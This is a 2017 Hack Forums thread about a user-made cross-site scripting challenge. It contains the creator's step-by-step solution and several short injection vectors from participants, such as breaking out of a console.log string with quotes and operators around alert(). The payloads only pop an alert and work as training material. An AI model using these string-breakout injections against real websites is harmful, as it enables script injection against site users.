

Forum:[Hack Forums](#)

Thread: [Test your javascript skills | XSS challenge 2](#)

redlightrouter - February 3, 2017, 11:54 am

Hello all,

I made a little XSS challenge that's pretty advanced, I think alot harder than the other one I made. (<https://hackforums.net/showthread.php?tid=5483982>)

It's different from the other one I made, but I don't want to spoil what's different ;).

Here is the link:

Quote:<http://xsschallenge.coolpage.biz/xss2.php>

I expect you guys to be sweet with this one ^^

ps. dont forget to pm me your vector.

Thanks Ryuga, for helping me not being dumb lol.

Good luck.

Spoiler ([Click to View](#))

EDIT:

I've updated it alot. I'm now 80% sure other vector won't be possible than the one I had in mind.

Ryuga - February 3, 2017, 12:18 pm

~ easy one, ty.

Faith Connors - February 3, 2017, 12:19 pm

goddamn, right when i have to go on a road trip :(

well, remember to leave some vectors open for me to give it a shot lmao

redlightrouter - February 3, 2017, 12:35 pm

(Feb 3, 2017 01:19 PM)Faith Connors Wrote: [\[CITE\]](#) goddamn, right when i have to go on a road trip :(

well, remember to leave some vectors open for me to give it a shot lmao

Ofcourse Faith :). Enjoy your road trip.

Faith Connors - February 5, 2017, 1:02 pm

bumping back up for easy access

also just got home so lets give it a shot

without the php this would have been hard af dude lmao

but at least i actually kinda get whats going on so thanks for that i appreciate it lmao

Done:

Ryuga - February 6, 2017, 9:47 am

Did the #1 as well ..

Spoiler ([Click to View](#))

redlightrouter - February 7, 2017, 6:49 pm

(Feb 6, 2017 10:47 AM)Ryuga Wrote: ([CITE](#)) Did the #1 as well ..

Spoiler ([Click to View](#))

Nice! That one was fairly easy if you understand javascript. Many people here only understand common xss payloads, thats why I made the challenge.

Also, I have to say that you're pretty dang good with xss. Keep it up :).

Well I think it's time for the solution since I was pretty bitchy about this one (sorry about that ?)

Here it is (includes images):

Spoiler ([Click to View](#))

when opening the site you see you have to enter 2 vectors to succeed.

If you inspect the source you see that user input gets console logged.

As shown on the page the query to console log looks like PHP Code

```
<?php
```

```
console.log("Hi"); console.log("Hi");
```

To escape this we need to enter ");.

The query will look like this

PHP Code

```
<?php
```

```
console.log("");"); console.log("");
```

This will cause nothing more than an error.

To get an alert box we obviously need to place alert() behind it, but that will still cause an error since the script tries to close an already closed function.

So we have to comment that out, but since // is filtered we must use /*

PHP Code

```
<?php
```

```
console.log("");alert();/*"); console.log("");
```

At first you'd think that this is ok, and the challenge should be done. Nope, this will (again) cause an error, because you have to end the multi-line comment.

This is where the second input comes in. To end a multi-line comment you have to insert */

PHP Code

```
<?php
```

```
console.log("");alert();/*"); console.log("*/");
```

This also will cause an error, because the scripts tries to close the already closed function.

Since we injected our own function we can use that unexpected ending for an expected ending (if that even is a thing lol)

PHP Code

```
<?php  
console.log("");alert;/*"); console.log("*/("xss");
```

So the end result will look like this:

PHP Code

```
<?php  
console.log("");alert;/*"); console.log("*/("xss");
```

//Executed code

```
console.log("");  
alert("xss");
```

//Payload:

```
)"alert/*  
*/("xss
```

I'd like to thank you all for participating in this challenge. I've learned some new payloads by making these challenges and I hope I learned you some new things aswell.

Faith Connors - February 7, 2017, 7:56 pm

found a new vector but dont want u to patch it zzzzz feelsbad lmao
whatever, these are training me to get better so thx bby <3

Ryuga - February 7, 2017, 11:05 pm

Well done! ? - btw this is one of the shortest payload(s) to alert 'xss' ?

Spoiler ([Click to View](#))Quote:"|alert('xss')|"

Faith Connors - February 8, 2017, 4:39 am

(Feb 8, 2017 12:05 AM)Ryuga Wrote: ([CITE](#)) Well done! ? - btw this is one of the shortest payload(s) to alert 'xss' ?

Spoiler ([Click to View](#))

goddamn youre better than js than me lmao
mine was maybe twice as long, involved newlines

Ryuga - February 8, 2017, 4:55 am

(Feb 8, 2017 05:39 AM)Faith Connors Wrote: ([CITE](#)) goddamn youre better than js than me lmao
mine was maybe twice as long, involved newlines

Thanks but tbh, I'm not good at js, I'm still trying to learn it .. here's what you should (or I try when trying to XSS in such context) ..

Quote:[Arithmetic Operators](#)

[Comparison and Logical Operators](#)

[Bitwise Operators](#)

and of course, closing teh "thing" and commenting out/balancing the line! ');alert(1)// ?

•^v^-[bLacKn3x]-^v^• - February 8, 2017, 9:53 am

Spoiler ([Click to View](#))

redlightrouter - February 8, 2017, 10:10 am

(Feb 8, 2017 12:05 AM)Ryuga Wrote: ([CITE](#)) Well done! ? - btw this is one of the shortest payload(s) to alert 'xss' ?

Spoiler ([Click to View](#))

Dude stop bypassing and making me feel bad ?

Jk, I love learning by your payloads. You see I'm not the best in scripting so I'll miss a lot of things that could bypass it. I won't patch anything from now on btw.

(Feb 7, 2017 08:56 PM)Faith Connors Wrote: [\[CITE\]](#) found a new vector but dont want u to patch it
zzzzz feelsbad lmao

whatever, these are training me to get better so thx bby <3

No problem. Glad you're enjoying these challenges ;)

suffixor - February 9, 2017, 7:36 pm

What I ended up with.

Spoiler ([Click to View](#))

Code "+alert()+"

redlightrouter - February 9, 2017, 11:39 pm

(Feb 9, 2017 08:36 PM)suffixor Wrote: [\[CITE\]](#) What I ended up with.

Spoiler ([Click to View](#))

Code "+alert()+"

Nice! After Ryuga bypassed this numerous times I also came up with

Spoiler ([Click to View](#))

"/alert()/"

Alim - July 22, 2017, 9:59 am

Nice challenge.

prntscr .com/fyxu6t

Sorry, I arrive later.

redlightrouter - August 18, 2017, 3:30 pm

(Jul 22, 2017 09:59 AM)Alim Wrote: [\[CITE\]](#) Nice challenge.

prntscr .com/fyxu6t

Sorry, I arrive later.

Nice, pm me your vector.